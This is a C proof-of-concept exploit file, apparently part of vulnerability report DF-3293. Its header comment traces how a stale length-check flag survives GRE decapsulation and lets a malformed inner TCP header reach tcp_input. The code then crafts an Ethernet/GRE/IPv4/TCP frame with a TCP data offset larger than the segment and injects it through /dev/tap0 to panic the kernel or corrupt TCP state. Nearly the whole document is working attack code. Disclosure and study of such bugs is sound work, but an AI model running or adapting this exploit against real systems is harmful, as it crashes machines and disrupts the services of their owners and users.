DF-3293 / tcp_off4_gre.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 | /* * DF-3293 PoC B - th_off*4 > tlen on IPv4 via GRE decapsulation. * * gre_input2() (sys/netinet/ip_gre.c:180-193) decapsulates the outer * packet, clears M_HASH but NOT M_LENCHECKED (set by ether_input -> * ip_lengthcheck for the OUTER header). The inner packet re-enters * ip_input() -> ip_hashfn(), which sees the stale M_LENCHECKED and skips * ip_lengthcheck() for the inner TCP header. tcp_input() then has only * the KASSERT at tcp_input.c:766 guarding `off <= tlen`: * * INVARIANTS kernels (default X86_64_GENERIC): panic * production kernels: tlen goes NEGATIVE and flows into the segment * state machine (reassembly entries with lying tqe_len, rcv_nxt * regression; with TH_URG set, unconditional panic("tcp_pulloutofband") * at tcp_input.c:2798). * * Injection: writing the raw ethernet frame to the tap(4) device hands it * to ether_input() (tapwrite) -> ip_lengthcheck() marks the OUTER packet * M_LENCHECKED -> GRE decap -> stale flag skips inner validation. * * Setup (root, one time): * ifconfig tap0 up * ifconfig tap0 inet 10.99.0.1 netmask 255.255.255.0 * ifconfig gre0 create * ifconfig gre0 tunnel 10.99.0.1 10.99.0.2 up * * Build: cc -O -o tcp_off4_gre tcp_off4_gre.c * Run: ./tcp_off4_gre */ #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <net/bpf.h> #include <net/if.h> #include <net/ethernet.h> #include <net/if_dl.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define GRE_HDR_LEN 4 /* flags(2) + proto(2), no options */ static u_int16_t cksum(const u_int16_t *w, int len) { u_int32_t sum = 0; while (len > 1) { sum += *w++; len -= 2; } if (len == 1) sum += *(const u_char *)w; while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16); return (u_int16_t)~sum; } static int parse_mac(const char *s, u_char *out) { return sscanf(s, "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx", &out[0], &out[1], &out[2], &out[3], &out[4], &out[5]) == 6; } static u_int16_t ip4_cksum(void *hdr, int len) { return cksum((u_int16_t *)hdr, len); } int main(int argc, char **argv) { /* * ether(14) + outer IP(20) + GRE(4) + inner IP(20) + inner TCP(20) */ unsigned char pkt[sizeof(struct ether_header) + 20 + GRE_HDR_LEN + 20 + 20]; unsigned char buf[4096]; u_char tapmac[ETHER_ADDR_LEN]; struct ifreq ifr; struct ether_header *eh; struct ip *oip, *iip; struct tcphdr *th; u_int16_t etype; int fd, n, plen; if (argc != 1) { fprintf(stderr, "usage: %s\n", argv[0]); return 1; } fd = open("/dev/tap0", O_RDWR); if (fd < 0) { perror("open /dev/tap0"); return 1; } /* tap0's MAC changes on every create - query it */ { struct sockaddr_dl *sdl; memset(&ifr, 0, sizeof(ifr)); if (ioctl(fd, SIOCGIFADDR, &ifr) < 0) { perror("SIOCGIFADDR"); return 1; } sdl = (struct sockaddr_dl *)&ifr.ifr_addr; memcpy(tapmac, LLADDR(sdl), ETHER_ADDR_LEN); } memset(pkt, 0, sizeof(pkt)); /* ---- ethernet: from the "GRE peer" to us ---- */ eh = (struct ether_header *)pkt; memcpy(eh->ether_dhost, tapmac, ETHER_ADDR_LEN); /* tap0 mac */ eh->ether_shost[0] = 0x02; eh->ether_shost[1] = 0x00; eh->ether_shost[2] = 0x00; eh->ether_shost[3] = 0x00; eh->ether_shost[4] = 0x00; eh->ether_shost[5] = 0x02; etype = htons(ETHERTYPE_IP); memcpy(&eh->ether_type, &etype, 2); /* ---- outer IP: src=peer(10.99.0.2) dst=us(10.99.0.1), proto GRE ---- */ oip = (struct ip *)(pkt + sizeof(struct ether_header)); oip->ip_v = 4; oip->ip_hl = 5; oip->ip_tos = 0; oip->ip_len = htons(20 + GRE_HDR_LEN + 20 + 20); oip->ip_id = htons(1); oip->ip_off = 0; oip->ip_ttl = 64; oip->ip_p = 47; /* IPPROTO_GRE */ inet_aton("10.99.0.2", &oip->ip_src); inet_aton("10.99.0.1", &oip->ip_dst); oip->ip_sum = 0; oip->ip_sum = ip4_cksum(oip, 20); /* ---- GRE header: no flags, ethertype IPv4 ---- */ pkt[sizeof(struct ether_header) + 20 + 0] = 0; pkt[sizeof(struct ether_header) + 20 + 1] = 0; pkt[sizeof(struct ether_header) + 20 + 2] = 0x08; pkt[sizeof(struct ether_header) + 20 + 3] = 0x00; /* ---- inner IP: claims 40 total bytes (20+20) ---- */ iip = (struct ip *)(pkt + sizeof(struct ether_header) + 20 + GRE_HDR_LEN); iip->ip_v = 4; iip->ip_hl = 5; iip->ip_len = htons(40); iip->ip_ttl = 64; iip->ip_p = IPPROTO_TCP; inet_aton("10.99.0.2", &iip->ip_src); inet_aton("10.99.0.1", &iip->ip_dst); iip->ip_sum = 0; iip->ip_sum = ip4_cksum(iip, 20); /* ---- inner TCP: th_off=15 => claims a 60-byte header, but tlen=20 ---- * checksum must cover exactly what the kernel will mbuf-walk after the * GRE trim: 40 bytes of inner datagram (pseudo-header over 20 payload). */ th = (struct tcphdr *)((unsigned char *)iip + 20); th->th_sport = htons(40000); th->th_dport = htons(9999); th->th_seq = htonl(1); th->th_ack = htonl(1); th->th_off = 15; /* <== 60 > tlen(20) */ th->th_flags = TH_ACK; th->th_win = htons(8192); th->th_sum = 0; { /* pseudo header (12B) + the 20 bytes actually present */ unsigned char cc[12 + 20]; memset(cc, 0, sizeof(cc)); memcpy(cc + 0, &iip->ip_src, 4); memcpy(cc + 4, &iip->ip_dst, 4); cc[8] = 0; cc[9] = IPPROTO_TCP; cc[10] = 0; cc[11] = 20; /* tcp segment length, network order */ memcpy(cc + 12, th, 20); th->th_sum = cksum((u_int16_t *)cc, sizeof(cc)); } plen = sizeof(pkt); n = write(fd, pkt, plen); printf("wrote %d/%d bytes to tap0 (expect kernel panic " "\"bad TCP data offset 60 (tlen 20)\")\n", n, plen); if (n < 0) perror("write"); sleep(2); return 0; } |